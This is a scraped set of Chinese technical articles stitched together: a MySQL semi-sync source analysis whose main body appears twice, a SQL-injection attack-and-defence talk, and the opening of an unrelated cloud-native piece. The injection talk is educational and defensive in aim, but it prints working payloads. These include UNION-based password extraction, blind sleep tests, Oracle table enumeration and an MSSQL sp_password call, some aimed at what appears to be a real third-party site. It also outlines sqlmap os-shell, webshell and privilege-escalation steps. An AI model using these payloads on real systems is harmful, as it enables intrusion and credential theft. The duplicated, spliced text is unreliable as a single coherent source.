再接下来,执行update_binlog_end_pos函数,用来更新binlog文件的最后的位置binlog_end_pos,该binlog_end_pos是一个全局的变量。在执行更新该位置之前,先得找到最后一个提交事务的线程(因为是Group Commit,多个事务排队提交的机制)。因为已经将要提交事务的线程组成了一个链表,所以通过从头到尾找,可以找到最后一个线程。代码如下: if(update_binlog_end_pos_after_sync) { THD*tmp_thd= final_queue; while(tmp_thd->next_to_commit != NULL) tmp_thd= tmp_thd->next_to_commit; update_binlog_end_pos(tmp_thd->get_trans_pos()); } 接下来,我们来看一下这个函数update_binlog_end_pos。这个函数很简单,传入一个pos,然后将其赋值给全局变量binlog_end_pos,接下来就是最核心的一行代码,signal_update(),发送binlog更新的信号。因此从主库同步binlog到从库的dump线程,会接收到这个binlog已有更新的信号,然后启动dump binlog的流程。 函数update_binlog_end_pos的完整代码如下: void update_binlog_end_pos(my_off_tpos) { lock_binlog_end_pos(); if (pos >binlog_end_pos) binlog_end_pos= pos; signal_update(); unlock_binlog_end_pos(); } Semi-sync 通过上面的步骤介绍,我们可以看到在binlog文件的最新位置更新的时候,就已经通过signal_update函数发送信号给binlog的dump线程,该线程就可以将事务的binlog同步到从库,从库接收到日志之后,就可以relay日志,实现了主从同步。 因此,再次重复说明一下,按照上面的解释,在事务真正提交完成之前就开始发送了binlog已经更新的信号,dump线程收到信号,即可以进行binlog的同步。那Semisync的作用是什么呢? 实际上,有没有Semisync机制,对上面介绍的MySQL的有关事务提交中关于binlog的流程都是一样的。Semisync的作用,只是主从之间的一个确认过程,主库等待从库返回相关位置的binlog已经同步到从库的确认(而实际实现则是等待dump线程给用户会话线程一个回复),没有得到确认之前(或者等待时间达到timeout),事务提交则在该函数(步骤)上等待直至获得返回。 具体执行binlog已经同步到某个位置的的确认函数为repl_semi_report_binlog_sync,函数如下: intrepl_semi_report_binlog_sync(Binlog_storage_param *param, constchar *log_file, my_off_t log_pos) { if(rpl_semi_sync_master_wait_point == WAIT_AFTER_SYNC) returnrepl_semisync.commitTrx(log_file, log_pos); return 0; } 通过观察上述函数,我们可以看到有个rpl_semi_sync_master_wait_point变量与WAIT_AFTER_SYNC比较,如果不相等,则直接返回,直接返回则表示不需要在此时此刻确认binlog是否已经同步。而这个变量的取值来自于半同步参数semi_sync_master_wait_point的初始设置,我们可以设置为after_sync与after_commit。 这两个参数含义的区别是:after_sync是在将binlog sync到disk之后(具体是否真正sync由参数sync_binlog的值决定)进行日志同步确认,而after_commit是将事务完成在InnoDB里面提交之后再进行binlog的同步确认。两者确认的时间点不同,after_sync要早于after_commit。 接下来,我们来看repl_semisync.commitTrx 这个函数,这个函数有两个传入参数,一个是binlog文件,一个binlog文件的位移。我们来看这个函数的含义吧。算了,还是直接用源码的注释来解释吧。 上面的注释说得相当清楚,就是该commiTRX函数会等待binlog-dump返回已经同步到该位置的报告,如果还没有同步到该位置,则继续等待,直到超时返回。 当会话线程收到该函数的返回时,事务的提交过程继续往下走,直至在InnoDB真正提交。 总结 通过上述对MySQL的事务提交过程中的前段分析,应该可以了解Semi-sync的同步机制与异步机制的区别。 Semi-sync的主从同步机制与异步机制在同步的处理方式上无任何区别,唯一的区别就是Semi-sync在事务提交中段(假如设置为after_sync)或者提交后的阶段(after_commit), 有一个验证该事务涉及的binlog是否已经同步到从库。而这个同步验证,会拉长整个事务的提交时间,因为事务提交在数据库中几乎是串行(如果按Group Commit为一个单位,就算是完全地串行),这是影响MySQL吞吐量的关键点,当这个关键点被拉长,对全局的影响就被放大。虽然仅仅多了这么一个确认的动作,但主库处于Semi-sync的同步状态与异步状态的吞吐量相比,相差了好几倍。 上述解释就是其真正的原因。 大家都知道在MySQL中,在事务真正COMMIT之前,会将事务的binlog日志写入到binlog文件中。在MySQL的5.7版本中,提供了所谓的无损复制功能,该功能的作用就是在主库的事务对其他的会话线程可见之前,就将该事务的日志同步到从库,保证了事务可以安全地无丢失地复制到从库。 下面我们从源码来分析MySQL的事务提交以及事务在何时将binlog复制到从库的。 MYSQL_BIN_LOG::ordered_commit,这个是事务在binlog阶段提交的核心函数,通过该函数,实现了事务日志写入binlog文件,以及触发dump线程将binlog发送到Slave,在最后的步骤,将事务设置为提交状态。 我们来分析MYSQL_BIN_LOG::ordered_commit这个函数的核心过程,该函数位于binlog.cc文件中。 源码分析 MYSQL_BIN_LOG::ordered_commit,这个函数,核心步骤如下: 第一步骤:flush Stage#1: flushing transactions to binary log: 步骤1 :将事务的日志写入binlog文件的buffer中,函数如下: process_flush_stage_queue(&total_bytes,&do_rotate, &wait_queue); 从5.6开始,MySQL引入了Group Commit的概念,这样可以避免每个事务提交都会锁定一次binlog。 另外,还有一个用处,就是MySQL5.7的基于logical_clock的并行复制。在一个组里面(其实是一个队列),这一组队列的头事务是相同的,因此这一组事务的last_committed(上一组的最后一个提交的事务)的事务也是同一个。我们都知道,last_committed相同的事务,是可以在从库并行relay(重演)的。 该函数process_flush_stage_queue的作用,就是将commit队列中的线程一个一个地取出,然后执行子函数 flush_thread_caches(head);循环的代码如下:将各自线程中的binlog cache写入到binlog中。 /* Flush thread caches to binary log. */ for (THD *head= first_seen ; head ; head = head->next_to_commit) { std::pairresult= flush_thread_caches(head);,my_off_t> total_bytes+= result.second; if(flush_error == 1) flush_error= result.first; #ifndef DBUG_OFF no_flushes++; #endif } 第二步骤:SYNC to disk Stage#2: Syncing binary log file to disk 第二步:将binlog file中cache的部分写入disk.但这个步骤参数sync_binlog起决定性的作用。 我们来看看源码,除了这些还有哪些细节步骤,听完源码分析之后,你应该有新的收获与理解。在执行真正的将binlog写到磁盘之前,会进行一个等待,函数如下: stage_manager.wait_count_or_timeout(opt_binlog_group_commit_sync_no_delay_count, opt_binlog_group_commit_sync_delay, Stage_manager::SYNC_STAGE); 等待的时间由MySQL参数文件中的binlog_group_commit_sync_delay,binlog_group_commit_sync_no_delay_count 这两参数共同决定。第一个表示该事务组提交之前总共等待累积到多少个事务,第二个参数则表示该事务组总共等待多长时间后进行提交,任何一个条件满足则进行后续操作。 因为有这个等待,可以让更多事务的binlog通过一次写binlog文件磁盘来完成提交,从而获得更高的吞吐量。 接下来,就是执行sync_binlog_file,该函数会用到MySQL参数文件中sync_binlog参数的值,如果为0,则不进行写磁盘操作,由操作系统决定什么时候刷盘,如果为1,则强制进行写磁盘操作。 再接下来,执行update_binlog_end_pos函数,用来更新binlog文件的最后的位置binlog_end_pos,该binlog_end_pos是一个全局的变量。在执行更新该位置之前,先得找到最后一个提交事务的线程(因为是Group Commit,多个事务排队提交的机制)。因为已经将要提交事务的线程组成了一个链表,所以通过从头到尾找,可以找到最后一个线程。代码如下: if(update_binlog_end_pos_after_sync) { THD*tmp_thd= final_queue; while(tmp_thd->next_to_commit != NULL) tmp_thd= tmp_thd->next_to_commit; update_binlog_end_pos(tmp_thd->get_trans_pos()); } 接下来,我们来看一下这个函数update_binlog_end_pos。这个函数很简单,传入一个pos,然后将其赋值给全局变量binlog_end_pos,接下来就是最核心的一行代码,signal_update(),发送binlog更新的信号。因此从主库同步binlog到从库的dump线程,会接收到这个binlog已有更新的信号,然后启动dump binlog的流程。 函数update_binlog_end_pos的完整代码如下: void update_binlog_end_pos(my_off_tpos) { lock_binlog_end_pos(); if (pos >binlog_end_pos) binlog_end_pos= pos; signal_update(); unlock_binlog_end_pos(); } Semi-sync 通过上面的步骤介绍,我们可以看到在binlog文件的最新位置更新的时候,就已经通过signal_update函数发送信号给binlog的dump线程,该线程就可以将事务的binlog同步到从库,从库接收到日志之后,就可以relay日志,实现了主从同步。 因此,再次重复说明一下,按照上面的解释,在事务真正提交完成之前就开始发送了binlog已经更新的信号,dump线程收到信号,即可以进行binlog的同步。那Semisync的作用是什么呢? 实际上,有没有Semisync机制,对上面介绍的MySQL的有关事务提交中关于binlog的流程都是一样的。Semisync的作用,只是主从之间的一个确认过程,主库等待从库返回相关位置的binlog已经同步到从库的确认(而实际实现则是等待dump线程给用户会话线程一个回复),没有得到确认之前(或者等待时间达到timeout),事务提交则在该函数(步骤)上等待直至获得返回。 具体执行binlog已经同步到某个位置的的确认函数为repl_semi_report_binlog_sync,函数如下: intrepl_semi_report_binlog_sync(Binlog_storage_param *param, constchar *log_file, my_off_t log_pos) { if(rpl_semi_sync_master_wait_point == WAIT_AFTER_SYNC) returnrepl_semisync.commitTrx(log_file, log_pos); return 0; } 通过观察上述函数,我们可以看到有个rpl_semi_sync_master_wait_point变量与WAIT_AFTER_SYNC比较,如果不相等,则直接返回,直接返回则表示不需要在此时此刻确认binlog是否已经同步。而这个变量的取值来自于半同步参数semi_sync_master_wait_point的初始设置,我们可以设置为after_sync与after_commit。 这两个参数含义的区别是:after_sync是在将binlog sync到disk之后(具体是否真正sync由参数sync_binlog的值决定)进行日志同步确认,而after_commit是将事务完成在InnoDB里面提交之后再进行binlog的同步确认。两者确认的时间点不同,after_sync要早于after_commit。 接下来,我们来看repl_semisync.commitTrx 这个函数,这个函数有两个传入参数,一个是binlog文件,一个binlog文件的位移。我们来看这个函数的含义吧。算了,还是直接用源码的注释来解释吧。 上面的注释说得相当清楚,就是该commiTRX函数会等待binlog-dump返回已经同步到该位置的报告,如果还没有同步到该位置,则继续等待,直到超时返回。 当会话线程收到该函数的返回时,事务的提交过程继续往下走,直至在InnoDB真正提交。 总结 通过上述对MySQL的事务提交过程中的前段分析,应该可以了解Semi-sync的同步机制与异步机制的区别。 Semi-sync的主从同步机制与异步机制在同步的处理方式上无任何区别,唯一的区别就是Semi-sync在事务提交中段(假如设置为after_sync)或者提交后的阶段(after_commit), 有一个验证该事务涉及的binlog是否已经同步到从库。而这个同步验证,会拉长整个事务的提交时间,因为事务提交在数据库中几乎是串行(如果按Group Commit为一个单位,就算是完全地串行),这是影响MySQL吞吐量的关键点,当这个关键点被拉长,对全局的影响就被放大。虽然仅仅多了这么一个确认的动作,但主库处于Semi-sync的同步状态与异步状态的吞吐量相比,相差了好几倍。 上述解释就是其真正的原因。 原文发布时间为:2017-04-16 本文来自云栖社区合作伙伴DBAplus
本文根据DBAplus社群第98期线上分享整理而成。 讲师介绍 主题简介: 1、数据库有什么安全问题 2、何为数据库注入 3、数据库注入攻击实战 4、为什么会发生数据库注入 5、数据库注入攻击防御 记得以前有人说过,对于一家软件公司来说,最重要的不是它的办公楼,也不是它的股票,而是代码。代码这东西,说到底就是一堆数据。这话不假,但是不仅仅这样,对于一家企业来说,它的用户数据也是最重要的几个之一。在座各位想必多为DBA或者数据分析相关岗位的同学,关于数据对企业的重要性,应该理解很深刻了。 那么,换一个角度,如果站在用户角度,数据对他们而言,更是要害。从以前的“艳照门”、“电信诈骗”,到现在的“50亿条公民信息泄露”,数据泄漏每天都在发生着。所以,不管是谁,不管站在企业还是用户角度,保护数据安全是重中之重。今天的主题——数据库注入攻防,就属于数据安全这个领域的问题。 一、数据库能有什么安全问题? 1、那些年泄漏的数据 说起数据库存在的安全问题,大家必定会想到很多答案,可能因暴露外网被攻击,可能因架构或网络原因破坏数据一致性,可能因备份还原机制不可用丢数据。 但对于企业、用户来说,数据泄漏却是一个特别突出的问题。这里贴一张图。如图1,过去10年,中国互联网泄漏了10亿多条用户信息,不过跟最新泄漏的“50亿条公民信息”相比,简直小巫见大巫。现在这些数据库在互联网上早就传了一遍,网上很多“社工库”的数据,如图2,就是从这里来的。但还有很多是不公开的,还在地下买卖,恐怕我们现在知道的数据泄漏只是冰山一角。 图1 图2 2、泄漏的数据哪来的? 那么,这些数据是怎么泄漏的?根据搜狐网上的一些报道,我按类型整理了大概有6种途径,分成用户提供和不法分子利用2个大类,占比大概如图3所示。 图3 (1)用户提供 首先,用户随意连接免费WIFI或者扫描二维码会被盗取个人信息;此外,手机、电脑等终端感染病毒等恶意软件,也会造成个人信息被窃取。但这些都是因为用户自己的主动行为引起的。 (2)不法分子利用 这种主要是包括黑客在内的不法分子主动获取造成。比如:掌握了信息的公司、机构员工主动倒卖信息; 黑客利用网站漏洞入侵数据库,换句话说,这就是数据库注入引发的一个个血案; 用户密码简单,“一套密码走天下”,结果黑客通过“撞库”等间接方式也获取了用户帐号密码; 个人身份信息保管不当被利用,比如身份证复印件乱丢,轻易相信网购优惠填写身份证、银行卡信息,从而造成信息泄漏。 今天,我们将从原理、攻防等方面去剖析数据库注入。 二、何为数据库注入 1、原理 通过把恶意 SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,从而欺骗服务器执行恶意的SQL命令,而不是按照设计者意图去执行SQL语句。从图4可以看到,正常用户输入的是自己的账号密码,但攻击者不会按开发者想法来,他会用各种畸形输入来测试。比如图4就是传说中的“万能密码”,10年前,很多网站倒在它面前,就是因为完全信任用户输入。 图4 2、有什么危害 非法读取、篡改、添加、删除数据库中的数据 盗取用户的各类敏感信息,获取利益 通过修改数据库来修改网页上的内容 私自添加或删除账号 注入木马等等 看起来数据库注入的危害可不止信息泄漏,破坏数据库数据和进一步入侵也是入侵题中的应有之义。 跟其他的Web攻击如XSS/CSRF/SSRF之类比有什么不同? 危害最大。根据OWASP(Open Web Application Security Project)2013年安全报告,如图5,数据库注入是最严重的Web安全问题。 图5 直接攻击数据库,而数据是最敏感的。容易被深度利用,造成威胁扩散。刚才上面也提到,数据库注入可以用来传播木马,甚至控制服务器,想象空间很大。 三、数据库注入攻击实战 在网络安全行业有一句话,“未知攻,焉知防”。所以我们要理解数据库注入,想做好防御措施,必须先看看它是怎么攻击数据库的。 1、利用思路 攻击一般可以采用手工和自动化工具两种方式,各有千秋。 手工: 繁琐、效率低;灵活、能够根据站点防护措施随时调整攻击思路。 工具: 效率高、批量自动挖掘;但是容易被WAF(Web防火墙)识别、模式相对单一,不够灵活。但还是事在人为,工具可以跟人一样聪明,下面我们就利用神器让注入“飞起来”吧。 主要会用到下面几款工具。 Nmap:社区最著名端口扫描工具。 AWVS:商业级Web漏洞扫描工具,准确率和效率名列漏扫工具Top3。 sqlmap.py:全自动SQL注入工具,神器之“神”。 NoSQLMap.py:sqlmap的NoSQL版本,支持MongoDB等。 webshell:Web木马,攻城掠地不可或缺。 2、渗透测试环境 要知道,在欧美,扫描别人网站可能违法,更别说入侵网站了。同理,我们的测试,也仅使用模拟环境。下面有很多Web渗透的模拟环境,部署起来非常简单。 https://github.com/ethicalhack3r/DVWA https://github.com/WebGoat/WebGoat https://github.com/Audi-1/sqli-labs https://hack.me/t/SQLi https://github.com/davevs/dvxte https://github.com/rapid7/metasploitable3 3、全景图 在开始测试前,先整理一遍思路。通常渗透测试会遵循:信息采集、入口发现、入口测试、获取webshell、提权等步骤。下面大概介绍下每个环节需要做的事情。 收集信息:通过端口扫描工具、搜索引擎或者目录爆破工具收集敏感信息或者端口开放信息,以便作为测试入口。 注入:一般说是入口发现,我们这次是Web站点存在SQL注入,然后通过手工尝试PoC(漏洞验证payload)或者自动化工具测试,一旦发现SQL注入点,立马开始遍历数据库,俗称“脱库”。但是,别忘了世纪佳缘白帽子事件,殷鉴不远啊。 Getshell:基于SQL注入上传木马,获取服务器控制权限。 提权:基于已有的普通用户权限,利用系统内核漏洞或者应用漏洞,将自己升级到root用户。 进阶:思路足够广,要多深入就有多深入。 4、发现漏洞 nmap -p1-65535 192.168.115.131 发现开放tcp/80端口,为Web服务,手工验证注入入口。 发现http://192.168.115.181/cat.php?id=1存在SQL注入。使用AWVS进行进一步验证,如图6。 图6 5、脱库 使用sqlmap全自动脱库,扫出数据库、表名、列等信息。 图7 6、Getshell 也是使用sqlmap直接在SQL Shell里写文件,当然也可以切换到--os-shell获取操作系统shell直接执行系统命令,如图8。 图8 这里科普一下传说中的“一句话木马”、“小马”、“大马”。“一句话木马”就是将接收任意字符进行执行的PHP/ASP/JSP文件,通常只有几行,甚至只有一行;“小马”就是“一句话木马”或者功能比较简单的Web木马,“大马”就是功能齐全的Web木马,比如图8所示,可以管理文件、数据库、执行系统命令、端口扫描甚至端口转发。 7、提权 从普通用户变成root用户。这个需要利用操作系统内核版本漏洞,所幸该内核版本(图9)很低,真找到了内核exp(图10),顺利提权。 图9 图10 8、进阶利用 提完权就算了?没这么简单,如果处于攻击目的,实际上可做的事情太多了。 内网漫游:一般数据库都放在内网,我们都知道企业内网很多“宝藏”,各种空口令、弱密码、目录遍历,随便扫一下就大丰收了,如图11。 流量劫持:ARP攻击、SSL流量劫持、抓包上传甚至攻击域控服务器等等,都深入到这程度,真没什么做不到的。 DDoS肉鸡:控制被入侵机器去攻击别人,当你发现某台服务器出向流量异常高就该担心了,如图12。 远控:监控机器,比如键盘记录、用户命令记录等等。 图11 图12 刚才完整介绍了一个自动SQL注入攻击的过程,可能大家觉得还是不够过瘾,因为一路只看我在使用工具,连畸形SQL语句都没看到,所以下面大概介绍一下针对MySQL、msSQL、Oracle等主流关系型数据库的手工注入。 MySQL 图13 http://192.168.115.131/cat.php?id=1' 直接在参数后面跟上’,或者\,如果没有合理过滤,是会报语法错误的,不信你看看图13。 http://192.168.115.131/cat.php?id=1%20and%201=2%20union%20select%201,user(),3,4 然后开始试探数据库字段数、当前用户,如图14。 图14 http://192.168.115.131/cat.php?id=1 and (select * from (select(sleep(5)))lsrk) http://192.168.115.131/cat.php?id=1%20UNION%20 SELECT%201,concat(login,%27:%27,password),3,4%20FROM%20users;’ 接下来是用来测试是否存在基于时间的盲注和查询数据库管理员帐号密码的,拿到root账号后可以去网上破解。 msSQL 这个思路跟MySQL一样,只是需要msSQL的注释符和MySQL有所不同,前者支持--,后者支持#,如图15。 http://www.aquaservices.co.in/authorprofile.asp?id=13 order by 100-- Here comes the error : The order by position number 100 is out of range of the number of items 图15 http://www.aquaservices.co.in/authorprofile.asp?id=13 and 0=1 Union All Select 1,@@version,3,4,5,6,db_name(),8-- http://www.aquaservices.co.in/authorprofile.asp?id=13;exec master.dbo.sp_password null,password,username;– 这里还可以执行存储过程master.dbo.sp_password直接修改数据库账号密码呢。 Oracle 思路也差不多,不过语法上稍微复杂点,如果语法不太熟,有个技巧,可以用sqlmap去跑PoC,如图16,按照提醒去构造畸形输入。 获取数据库版本信息 and 1=2 union select null,null,(select banner from sys.v_$version where rownum=1) from dual 开始爆库 and 1=2 union select null,null,(select owner from all_tables where rownum=1) from dual and 1=2 union select null,null,(select owner from all_table where rownum=1 and owner<>'第 一个库名') from dual and 1=2 union select null,null,(select table_name from user_tables where rownum=1) from Dual 图16 MongoDB 上面讲的都是关系型数据库,非关系型数据库MongoDB这些是不是就安全了?不是的,如图17,密码还是明文保存的呢。 图17 四、为什么会发生数据库注入 经过上面数据库注入的攻击测试,相信大家再也不会心怀侥幸了,因为攻击成本很低,不是吗?那么,总结一下我们看到的,数据库注入发生的原因是什么? 1、透过现象看本质 SQL注入可以分为平台层注入和代码层注入。 前者由不安全的数据库配置或数据库平台的漏洞所致; ①不安全的数据库配置;②数据库平台存在漏洞; 后者由于开发对输入未进行细致过滤,从而执行非法数据查询。 ①不当的类型处理; ②不合理的查询集处理;③不当的错误处理; ④转义字符处理不合适;⑤多个提交处理不当。 2、代码 首先,“信任,过犹不及”。很多时候,我们一直强调,站在开发者角度,用户是不可信任的,未过滤或验证用户输入以及输出数据,就是给自己挖坑。比如下面这个: $username = "aaa"; $pwd = "fdsafda' or '1'='1"; $sql = "SELECT * FROM table WHERE username = '{$username}' AND pwd = '{$pwd}'"; echo $sql; //输出 SELECT * FROM table WHERE username = 'aaa' AND pwd = 'fdsafda' or '1'='1' ?> 传说中的“万能密码”利用的后台代码差不多就是这个渣样。当然,现在几乎不可能存在了,因为人总是会吸取教训的,各种安全开发的理念还是逐渐深入人心了。 3、数据库 站在运维角度,数据库注入中的运维“三宗罪”分别是: (1)空密码/弱密码。“空,那么空”,我耳朵里突然想起来金志文的《空城》。 mysql> select user,host,password from mysql.user; +------+-----------+----------+ | user | host | password | +------+-----------+----------+ | root | localhost | | | root | 127.0.0.1 | | | root | ::1 | | (2)外网开放。数据库开放外网,还不改端口(改了也没用,因为现在都是全端口扫描的),这不是找抽吗? iptables-save | grep 3306 -A INPUT -p tcp -m tcp --dport 3306 -j ACCEPT (3)用户权限控制不当。按照最小权限原则,只给账号需要的最小权限即可。 mysql> show grants for gs@101.101.101.101; +-----------------------------------------------+ | Grants for gs@101.101.101.101; +-----------------------------------------------+ | GRANT ALL PRIVILEGES ON `gameserver`.* TO 'wscs_gs'@'101.101.101.101' 五、数据库注入攻击防御 上文已介绍了数据库注入的原因和形式,下文将从代码、数据库、Web Server和数据分析四个层面介绍如何防御数据库注入攻击。 1、代码 SDL(Security Develop Lifecircle):软件开发应当遵循“安全开发生命周期”,软件测试需要增加安全测试的白盒与黑盒测试。 用户是不可信的:输入输出都应当被过滤,至少应满足以下4个编码规则。 对用户的输入进行校验,可以通过正则表达式,或限制长度;对单引号和 双"-"进行转换等。 不要使用动态拼装SQL,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。 不要把机密信息明文存放,加密或者hash掉密码和敏感的信息。 应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行封装。 下面我针对PHP和Pyth的反SQL注入讲2个例子,因为平时用的比较多的是ThinkPHP和Flask这2个Web框架。 PHP where方法使用字符串条件的时候,支持预处理(安全过滤)。 $Model->where("id=%d and username='%s' and xx='%f'",array($id,$username,$xx))->select(); 模型的Query和execute方法 同样支持预处理机制,例如: $model->query('select * from user where id=%d and status=%d',$id,$status); Python cur=db.cursor() sql = "INSERT INTO test2(cid, author, content) VALUES (%s, %s, %s)" #使用%s而不是'%s' sql=sql%('2','2','bb') cur.execute(sql,()) 2、数据库 从架构和运维两方面谈谈如何在数据库层面进行防御。 (1)架构 首先是架构层面,处于性能和安全考虑,可以在数据库集群与Web Server等前端中间增加DBProxy的中间件,比如Batis或者MyCat。 DB-Proxy Batis MyCat 如图18所示,MyCat中实现了MySQL的预处理协议,可以接收预处理命令的处理。当使用预处理查询,也可以返回正确的二进制结果集包,通过这个预处理,可以实现对SQL注入的过滤和拦截。 图18 开源SQL检测、阻断系统 Druid-SQL-Wall Druid提供了WallFilter,基于SQL语义分析来实现防御SQL注入攻击。 (2)运维 然后是运维层面,可以在进程管理、用户授权、端口开放等方面进行攻击缓解甚至遏制。 进程启动用户 mysql 23400 22671 0 Mar19 ? 00:13:25 /usr/sbin/mysqld --basedir=/home/mysql --datadir=/home/mysql --plugin-dir=/usr/lib/mysql/plugin --user=mysql --open-files-limit=8192 --pid-file=/var/run/mysqld/mysqld.pid --socket=/var/run/mysqld/mysqld.sock --port=3306 数据库用户授权 mysql> show grants for gs@101.101.101.101; | GRANT SELECT,INSERT,DELETE,UPDATE,USAGE PRIVILEGES ON `gameserver`.* TO 'gs'@'10.10.10.10' BY PASSWORD '*89DCA7B59FD064E3A478xxxxxxxxxF272E7E' iptables -A INPUT -p tcp -m tcp --dport 3306 -j MYSQL -A MYSQL -p tcp -m tcp --dport 3306 -j REJECT --reject-with icmp-port-unreachable 3、Web Server 接下来,除了前面讲的代码、数据库层面进行数据库注入的防御,其实如果有Web前端,一般还是可以在Web Server层面进行拦截,实现一个多层次的、立体的防护体系。 下面将介绍Web Server配置、Web防火墙两方面的防御思路。 配置,配置,还是配置 在Web Server的vhost设置查询字符串过滤,一旦用户提交的字符串存在安全隐患,就会直接进行拦截。由于这个匹配度很高,误杀可能性很低,不过在业务量比较大的情况下,会损耗Web Server一定性能。 server { set $block_sql_injections 0; if ($query_string ~ “union.*select.*(“) { set $block_sql_injections 1; } if ($query_string ~ “union.*all.*select.*”) { set $block_sql_injections 1; } if ($query_string ~ “concat.*(“) { set $block_sql_injections 1; } if ($block_sql_injections = 1) { return 444; } WAF 全称是Web Application Firewall,跟Web Server耦合度很高,一般是作为Web Server的插件编译安装进去,常见的方案有下面几种: tengine_waf:基于Nginx二次开发的Tengine的WAF模块。 Nginx+Sysguard:Nginx定制版WAF Nginx+HTTPGuard:Nginx定制版WAF Apache+Mod_security:Mod_security其实支持Apache和Nginx,原生的支持Apache,是很通用的一种方案。 一般WAF支持的功能是在以下层面进行匹配、过滤。 user-agent 匹配拦截恶意的user-agent url 匹配拦截恶意的网页路径 args 匹配拦截恶意的GET请求参数 POST 匹配拦截恶意的POST请求参数 Cookie 匹配拦截恶意的Cookie 请求 whitetip IP白名单 whiteurl 网页路径白名单 blockip IP黑名单 4、日志分析 在海量的Web Server access.log中分析匹配攻击模型,从中发现SQL注入或者GetShell的敏感语句。 比如下面这个wordpress的攻击日志,通过报错或者’\’敏感字符发现报警: [07-Dec-2016 02:40:49] WordPress database error You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'WHERE id = -1\'' at line 1 for query SELECT text, author_id, date FROM WHERE id = -1\' 现在通过日志大数据做安全防御的方案有这么几种: 实时检索:ELK,实时查询性能很好,也有自己的访问控制机制,需要定制。 离线分析:Hadoop,利用MapReduce等算法进行模型定制、分析、输出报告,方案参考。 流处理:Storm+Spark,实时性能好,可以用作实时风控系统。 图19 总结 数据库注入其实只是安全攻防的一个小小的领域,但因为涉及到企业、用户数据,所以需要列入重点关注。但我们知道,道高一尺魔高一丈,在利益的驱使下攻击不会停止,我们的防护也不会停止,这场攻防之战永不落幕。 参考资料 社工库问答 https://www.zhihu.com/question/22827473 个人信息泄漏源 http://business.sohu.com/20160917/n468557286.shtml SQL注入基础 http://blog.csdn.net/pan_cras/article/details/52168448 SQL注入原理 http://blog.csdn.net/stilling2006/article/details/8526458/ Q&A Q1:开发学这个sqlmap,使用上有哪些难点?手册中文版的么? A1:如果不是基于sqlmap做二次开发,sqlmap学习门槛很低,只需要对照官方手册(有中文版,安装包的doc/translations/README-zh-CN.md)操作即可,就跟学习普通的Linux系统命令一样简单。如果开发同学想基于sqlmap做二次开发,难点主要在理解Sqlmap的整体框架,它在软件工程上被推崇备至,就是因为在设计思想、性能处理上非常值得学习。此外,还可以自定义一些Tamper文件用于绕过服务端过滤,这个比较简单,主要是字符转换。sqlmap的学习手册可以参考:http://www.secbox.cn/hacker/6311.html。 Q2:攻击工具常用的有哪些? A2:不同类型的攻击常用工具都不同,这个回答起来太泛了。这里我们单纯讲数据库注入需要用到的,信息收集通常使用nmap扫描开放端口、御剑扫描网站目录,漏洞发现通常基于信息收集使用AWVS或者OpenVas进行Web或系统漏洞扫描,如果发现SQL注入,则分别使用sqlmap、Pangolin(穿山甲)等工具进行自动渗透,然后再基于漏洞点的权限决定是通过后台上传还是直接写一句话使木马到站点,之后,使用中国菜刀(一句话木马连接工具)连接,再往后的攻击主要靠思路,没什么现成工具。 Q3:WAF可以检测到SQL注入的行为吗? A3:可以。像HTTPGuard或者tengine_waf都支持SQL注入行为发现,主要原理也是依据正则表达式匹配,然后通过输出的log来报警。 Q4:请问有什么好的相关书籍或者资料推荐,系统学习安全方面的知识 A4:1.建议先从Web安全入门,推荐《白帽子讲Web安全》,同时学习Linux系统基础知识,推荐《跟阿铭学linux》。2.学习系统安全相关知识。资料可以参考别人整理的Github上安全知识仓库:http://www.uedbox.com/github-security-repo-collection/;以及知乎上面的专栏文章:https://zhuanlan.zhihu.com/p/25661457。 Q5:市场上有什么防数据库注入的解决方案吗? A5:没有单独的防数据库注入的产品或者商业方案,一般作为入侵检测系统的子功能,或者Web站点安全防护解决方案的一部分。传统安全厂商启明星辰、绿盟都有入侵检测产品,Web方面的360和安全狗用的比较多。如果是自己实现,就是本次分享提到的代码、数据库、Web Server、日志分析等几个层面的方案。 Q6:科普下肉鸡是什么? A6:肉鸡也称傀儡机,是指可以被黑客远程控制的机器。受害者被诱导点击或者机器被黑客攻破或机器有漏洞被种植了木马,黑客借此随意操纵服机器并利用它做任何事情,比如DDoS。 Q7:可以用admin权限,上传一个1像素的木马到主页上抓肉鸡,不是更好吗? A7:你这里说的应该是网页挂马,也是抓肉鸡的一种方式。但是要获取admin权限,作为非法用户,本身就要通过入侵去实现的。 Q8:那些搞破解的是不是专做这些事? A8:数据库注入跟破解其实不是一个领域的问题,破解更多的是应用程序的逆向,比如破解商业软件的License之类的。 原文发布时间为:2017-04-05 本文来自云栖社区合作伙伴DBAplus
作者:陈谔,网易云基础服务总经理,现负责网易云计算平台产品线建设,对分布式系统设计开发、云计算平台系统架构有一定的经验和理解。近年来致力于带领团队推进公司开发技术栈的标准化、工具化。 网易云基础服务团队:网易云基础服务拥有优质的硬件资源,经验丰富的研发运维团队,为各类客户提供IaaS、PaaS服务。同时深度整合Docker与Kubernetes技术,打造专业的容器服务。 如何让云成为业务成功的基石而不是障碍,是技术团队需要不断思考的问题,Cloud-Native正是一种让业务技术架构向云而生,充分利用云特性的技术理念与方法论。在近期网易云技术布道系列活动中,网易云基础服务总经理陈谔带来了如何从0到1实践Cloud-Native的精彩分享。 一、什么是Cloud Native? 说到Cloud Native,国内大多数都翻译成云原生,就是让云成为成功的基石,而不是障碍。陈谔对于为什么要实现云原生应用深有体会,网易从2012年开始实施云化的战略,当第一版云计算平台建好的时候,开始引导公司的项目逐渐向云迁移。这个过程中就遇到了一个问题:用上云之后,并没有变得效率奇高,甚至有些项目的效率反而有所下降,大家都有很多抱怨。 从那时陈谔就有一个想法,云计算怎样才能成为公司和开发团队成功的基石,而不是用上云之后给你制造麻烦。他认为要做到这一点首先要理解云的优势,规避云的弱点;另一方面要充分利用云的各层能力,帮助你去成功。所以云原生就是采用适合云端的软件架构和研发模式去做这个事情。 二、如何实践云原生? 关于如何实践云原生,陈谔为大家分享了一些建议。假设大家不是类似BAT这样规模的公司,或者有非常强大的IT团队,在选择技术路线时,陈谔建议大家使用公有云,为什么呢? 1、使用公有云 弹性 首先,使用公有云起步的成本非常低,不需要你去租机房、买物理机,每个月几百块钱就可以起步了。如果你成功了,在爆发性增长时,公有云也有足够大的资源弹性帮助你从一台Scale到几百台,而不需要临时去买服务器。 网络质量 另一方面,由于公有云的规模化效应,网络质量是自建不可比拟的: 